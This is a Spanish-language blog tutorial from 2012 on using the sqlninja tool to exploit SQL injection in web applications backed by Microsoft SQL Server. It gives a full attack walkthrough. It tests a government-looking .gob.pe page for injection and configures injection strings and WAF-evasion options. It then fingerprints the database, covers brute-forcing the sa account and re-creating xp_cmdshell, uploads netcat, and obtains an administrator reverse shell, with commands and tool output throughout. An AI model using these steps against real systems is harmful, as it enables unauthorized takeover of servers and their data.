martes, 23 de octubre de 2012

SQL Ninja - SQLI



Sqlninja es una herramienta dirigida a aprovechar las vulnerabilidades de inyección SQL en una aplicación web que utiliza Microsoft SQL Server como back-end.
 
Su objetivo principal es proporcionar un acceso remoto en el servidor de base de datos vulnerable, incluso en un ambiente muy hostil. Debe ser utilizado por los testeadores a la hora de querer asumir el control de un servidor de base de datos, aprovechando una vulnerabilidad de inyección SQL que ha sido descubierta..=)



Para comenzar es importante tener algunas cosas:

1.- Tener instaldo Perl y activarlo.

2.-Descargar SQL Ninja, bajar unas librerias de CPAN , claro en el caso de que no los tengan.

Ahora lo mas importe...tatatamm.....Un sitio vulnerable a SQL injection y que tenga como DBMS SQL Server..posterior a 2000 claro..xDD

Pues con esto es suficiente para comezarrrrrrr...!!!!!!!!!!

Primero descargar SQL Ninja....xD!!


Sitio oficial :            SQL Ninja



 Luego de la descarga , tenemos que extraer nuestra herramienta para poder correrlo ..=)

# tar -xvf sqlninja-0.2.6-r1.tgz




Ahora solo faltaria instalar las librerias , claro si hace falta..xDD

Nota :   Si a la hora de correr SQL Ninja , les da algun error respexto a que les falta librerias o algo por el estilo..xD....Bajenlas de CPAN e instanlenlas , para saber cuales librerias hay que instalar , hagan esto...cheken..xDD

Se dirigen a la carpeta que se les ha creado a la hora de desempaquetar los archivos, y van a abrir una el archivos sqlninja(es un script hecho en perl) y van a buscar la siguiente seccion de código....=)



# Provide a friendly message for missing modules...
my %nonStandarModules = (

"NetPacket-IP"  
                     ==>  "NetPacket::IP",
"NetPacket-TCP"                   ==>  "NetPacket::TCP",
"NetPacket-UDP"                   ==>  "NetPacket::UDP",
"IO-Socket-SSL"                    ==>  "IO::Socket::SSL",
"Net-Pcap"                              ==>  "Net::RawIP",
"Net-RawIP"                           ==>  "Net::RawIP",
"Net-DNS-Nameserver"          ==>  "Net::DNS::Nameserver",

);



 Como de seguro ya se dieron cuenta, ahi estan las librerias que se necesitan instalar..=)...Recomendacion instalen cada una del Perl CPAN :
  
# perl -MCPAN -e  "install NetPacket::IP"

# perl -MCPAN -e  "install NetPacket::TCP"
# perl -MCPAN -e  "install NetPacket::UDP"

# perl -MCPAN -e  "install IO::Socket::SSL"
# perl -MCPAN -e  "install Net::Pcap"

# perl -MCPAN -e  "install IO::Socket::SSL"
# perl -MCPAN -e  "install Net::RawIP" 
# perl -MCPAN -e  "install Net::DNS::Nameserver"

Unva vez que las tengan bien instaladas.....Es hora de correr el ejecutable de sqlninja.....no olviden sin parametros ......tiene que ser algo asi..=)

En mi caso voy hacerlo correr en mi Backtrack (SQL Ninja viene por defecto en Backtrack5R3)

SQL Ninja ..=) 



 SQL Ninja por consola...=)


Luego de hacer todo esto...al final les debe quedar asi...=)




Ahora seeeeeeeeeee!!!!!!!!!!! ya esta todo listo y podemos empezar a jugar un poco con el SQL Ninja.....xDDD!!!!!!!!

Para continuar necesitamos un pequeño objetivo para hacer la prueba...=)...Nuestro objetivo va ser esta pagina....=)....

                             http://www.sitio.gob.pe/servidor.asp?name=nger

Ahora que pasaria si adicionamos algo a la entradara para encontrar el error..=)
                              
                              http://www.sitio.gob.pe/servidor.asp?name=nger'

 Esto nos va a generar lo siguiente : 

Mircrosoft OLE DB Provider for SQL Server error '80400e14'
Unclosed quotation mark defore the character string 'nger';'
/include /dbFunctions.asp, line 180

Si nos sale eso a la hora de que inyectemos ese pequeña entrada , entonces la aplicacion es vulnerable a SQL Injection .

Una vez que ya tengamos instalado el SQL Ninja y nuestro victima  es hora de que configuremos el SQL Ninja , para esto tenemos 2 opciones :


a) El primero sera cuando el SQL Ninja preguntara los parametros de la inyeccion asi como otros datos (puerto web, si es por SSL, metodo GET o POST ,etc....) el resutaldo sera el sqlninja.conf.


b) El segundo es crear el archivo de configuracion sqlninja.conf y hacerlo a mano....atentos con esto....la ventaja es que pueden cambiar varias cosas como el tiempo para considerar un timeout, los errores (messages) que devuelve el server por defecto, los https request, si al final de la inyeccion se agregalos los "--" para comentar el resto del SQL Statement,etc.


Nota:

(Ya no voy a poner mas imagenes, porque si no el post seria increiblemente largo...=) .....)


 

Okkkkkk..para mi gusto vamos a haber la primero opcion...=)...

1. Ejecuten  ./sqlninja -mt y le van a especicando los parámetros que vaya preguntando


# ./sqlninja -mt

Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
[-] sqlninja.conf does not exist. You want to create it now ? [y/n]
>y
[+] Creating a new configuration file. Keep in mind that only basic options will be generated, and that the file should be manually edited for I advanced options and fine tuning.

-Aquí introducen el nombre del host

[1/10] Victim host (e.g.: www.victim.com):
> www.testme.com

- El puerto que se utiliza para web

[2/10] Remote port [80]
>80

- Si se utiliza SSL, en este caso es HTTP

[3/10] Use SSL (y/n/auto) [auto]
>n

-En esta inyección, la estamos haciendo directamente desde el método HTTP GET, también se
puede hacer por método POST

[4/10] Method to use (GET/POST) [GET]
>GET

-Escribir la página que es vulnerable

[5/10] Vulnerable page, including path and leading slash
(e.g.: /dir/target.asp)
>/supplies.asp

-Aquí es donde viene lo importante, poner el SQL Injection, en este caso es:

[6/10] Start of the exploit string. It must include the vulnerable parameter and the character sequence that allows us to start injecting commands. In general this means, at least:

        - an apostrophe (if the parameter is a string)
        -an semicolon (to end the original query)
         
It must also include everything necessary to properly close the
original query,
as an appropriate number of closing brackets. Don't forget to
URL-encode, where needed (e.g.: spaces).
For instance, if we consider the following TSQL command:
          exec master..xp_cmdshell 'dir c :\'
and the string to injet is the following :
          aaa=1&bbb=x';exec+master..xp_cmdshell+'dir+c:'
this parameter should look like this :
          aaa=1&bbb=x';
>name=nger';


No se asusten solo es codigo..xDDDDDDDDD!!!!!!!!!!!!!!



Agregamos los demas parametros despues de la inyeccion para que la pagina se 
despliegue correctamente, en este caso no es necesario, lo podemos vacio y yap..


[7/10] If you need to add some more parameters after the vulnerable one, put them here (don't forget the leading "&" sign and to URL-encode where needed).
e.g.: &param3=aaa
>



Hay veces que los hosts "victima " estaran detras de un firewall y no pueden ser alcanzables desde 
conexiones externas, sin embargo algunas veces , estos hosts protegidos por el firewall permiten todo
tipo de conexiones internas hacia el exterior, entonces configuramos SQL Ninja para hacer reverse 
shells, aquie ponemos el IP a donde queremos que nos devuelva el CMD Shell.

[8/10] Local host : your IP address (for backsan and revshell modes)
> nnn.nnn.nnn.nnn

-Aqui ponemos el interfaz de red que tiene salida al host

[9/10] Interface to sniff when backsan mode
>eth0

La siguiente opcion es nueva en la version  sirve para utilizar tecnicas de evasion y que los WAF ,
firewalls o IDS no detecten estos ataques , aqui escogemos si se utilizaran o no estas tecnicas en este 
ejemplo no las necesitamos , por lo que la desactivaremos.

[10/10] Evasion technique. Possible choices are:

1.- Query hex-encoding
2.- Comments as separators
3.- Random case
4.- Random URL encoding


All techniques can be combined, so for instante yoy can enter "thor" (without quotes). 
However, Keeo in mind thar using too manu techniques at once leas to very long queries,
that might create problem when usgin GET.

Default : 0 (no evasion)
>

Ok, terminamos de configurar SQL Ninja, automáticamente comprobará que configuración sea correcta para hacerlo, correrá la inyección configurada y además inyectara un waitfor de lay de 5 segundos, si la aplicación responde después de 5 segunos, SQL Ninja considera que quedo bien configurado, sin embargo, recuerden que si estan en una red muy lenta, y los queries son lentos, el hecho de que se tarde mas de 5 segundos no quiere decir que  quedó bien configurado, sino que los tiempos de respuesta son lentos propios de una red lenta, asi que mejor hagan bien sus SQL Injections y asegurense que fucnionan, si su inyeccino SQL Ninja detecta que esta bien , veran algo como lo siguiente :

2 .- Ahora que si quieres crear un archivo de configuracion a mano o hacerle mejores, solo hay que abrir sqlninka.conf.examplo , configurenlo y grabelo como sqlninja.conf. Incluso puedes utilizar el primero metodo y ya despues le hace los ajustes que consideren necesarios, al final corran :


Quiere decir que en algo la jodieron ..xDDD!!!!!...asi que les recomiendo que traten de corren ./sqlninja mt .dall (debug all) y podran revisar que mandan y que responde el server para tratar de encontrar el problema.


Pero voy a suponer que ustedes son gente persisten y van hacerlo hasta lograrlo.xD!!
 
Ahora, ya quedo bien configurado el SQL Ninja, ahora lo bueno, ponerlo a funcionar.
Recuerden que esto tiene que llevar un orden, basicamente es :


1.- Probar que la inyeccion funcione (Modo Test -mt)

2.- Comprobar configuracion del servidor de BD,(Modo Fingerprint -mt)

3.- Version del SQL Server que van a atacar.

4.- El usuario del a BD con que corre la aplicacion (puede ser el SA,o algun simple 
     usuario.)

5.- Permisos del usuario (si la aplicacion corre como SA, esto nos va a significar
     que somos administradores)

6.- Comprobar que xp_cmdshell este habilitado y funcione.

7.- Tipo de autenticacion que utiliza la BD.



Ejemplo:

What do you want to discover ?


0 - Database version (2000/2005)
1 - Database user
2 - Database user rights
3 - Whether xp_cmdshell is working
4 - Whether mixed or Windows-only authentication is used a - All of the above
h - Print this menu
q - exit
>a


[+] Checking SQL Server version...
Target: Microsoft SQL Server 2000
[+] Checking whether we are sysadmin...
We seem to be 'sa' :)
[+] Check whether xp_cmdshell is available xp_cmdshell seems to be available :)
Windows-only authentication seems to be used
>q



Nos dice que la BD es SQL Server 2000, la aplicacion utiliza la cuenta SA para concetarse, xp_cmdshell esta habilitado y se utiliza la autentificaicon de Windows nada mas.

[+] Checking SQL Server version... Target: Microsoft SQL Server 2000
[+] Checking whether we are sysadmin...
No, we are not 'sa'.... :/ [+] Finding dbuser length...
Got it ! Length = 8
[+] Now going for the characters........
DB User is....: testuser
[+] Checking whether user is member of sysadmin server role....


You are not an administrator . If yo tried escalatins already, it might be it that 
you are using old OBDS connections . Check the documentation for how whith
this.


[+] Checking whether xp_cmdshell is avaible
      xp_cmdshell doesn't seem to be avaible
     Mixed authentication seems to be used



Pues que quiero decir con esto..??.....Pues que es un SQL Server 2000 ,el usuario no es SA, es un usuario normal, por lo cual necesitaremos hacer bruteforce a la cuenta de SA y ademas necesitaremos re-crear xp_cmdshell.


3.- Despues del fingerprint mode, aquie e sdonde hay que utilizar la lógica, por ejem :


- Si el modo fingerprint dice que el usuario que corre la aplicacion es SA, no es por decirlo asi necesario hacer el bruteformce a la cuenta de SA ni agregarlo al grupo de admins, puesto que ya somo admins y ejecutamos comandos como admin.

- Si estamos como un usuario que no es SA pero pertenece al grupo de sysadmins, tampoco necesitamos hacer bruteforce a SA, ni elevar privilegios ya que somos admins

- Puede ser que seamos SA y no podamos ejecutar comandos a travez de xp_cmdshell porque se deshabilito o por alguna otra cosa, entonces si hay que tratar de re-crear el stored procedure...xDDD!!




5.- Como en este ejemplo se corre el servicio como SA y ademas el xp_cmdshell, funciona, no tenemos que escalar privilegios ni revivir el xp_cmdshell, entonces lo que sigue es subir netcat al server para poder conectarnos al server a travez de un command Shell :

# ./sqlninja -mu
Sqlninja rel. 0.2.2
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net> [+] Parsing configuration file................
[+] Target is: www.testme.com
File to upload:
shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
>1
[+] Uploading scripts/nc.scr debug script............
960/1540 lines written
1540/1540 lines written done !
[+] Converting script to executable... might take a while
[+] Completed: nc.exe is uploaded and available !




6.- Una vez que ya esta arriba Netcat, intenté abrir un puerto en el server y conectarme directamente, pero no se pudo.....=(..... pudo haber sido por cuestiones de firewall  o algo por el estilo :

# ./sqlninja --ms
Sqlninja rel. 0.2.2
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net> [+] Parsing configuration file................
[+] Target is: www.testme.com
Remote port: 443
tcp/udp [default: tcp]: tcp
[+] Sending the request to the web server....
[+] Waiting 3 seconds for the remote command to execute... [+] Trying to contact the remote host...
Could not create socket



7.- Lo que intenté fue hacerlo al revés...xDDD!!....por reverse shell , fue asii..., bajé el Netcat y lo deje corriendo en una ventana :

C:\ >nc -1 - p 30000

Y corriiiiiiiiii SQL Ninja en modo reverse shell..xDDD!!! ....


Sqlninja rel. 0.2.2 
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file................ [+] Target is: www.testme.com
Local port: 30000
tcp/udp [default: tcp]: tcp
[+] waiting for shell on port 30000/tcp...

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

 C:\WINDOWS\SYSTEM32>


Lo cual me devolvio un cmd shell con privilegios de administrador en el server, una vez teniedo privilegios de administrador puedes ser el dueño de la caja y hacer lo que se te de la reverenda gana..xDDDDDDD...


Bueno antes de retirarme...xDD!!! un pequeño consejo ...hay personas que piensas que un SQL injection es algo sin importancia y inofensico..=)...pero cuando combinar las herramientas y tu ingenio...puede ser un arma mortal para el servidor....=)....


Bueno creo que este pequeño manual acerca de SQL Ninja haya sido entendido....=)...Al parecer este metodo de crear el archivo mediante el SQL Ninja ya no es una opcion en el BackTrack 5r3, la verdad ni lo he intentado ....xDDD!!!...para eso es mejor elegir tus mismos comandos y crear tu mismo archivos...=)....

Bueno ahora siii ....espero que me haya entendido.....=).....al parecer lo he hecho algo rapido, eso se debe a que quiero seguir haciendo mas post...\o/...\o/..\o/....xDDD!!!!!!...........Sin mas que decir me despido y sera hasta la próxima....Nos vemos...=D....













P.D : Agradesco a esa persona que me ayudo en esos momento muy dificiles por los que estaba pasando........Gracias Peque........por esas palabras de apoyo......=D  



 

No hay comentarios:

Publicar un comentario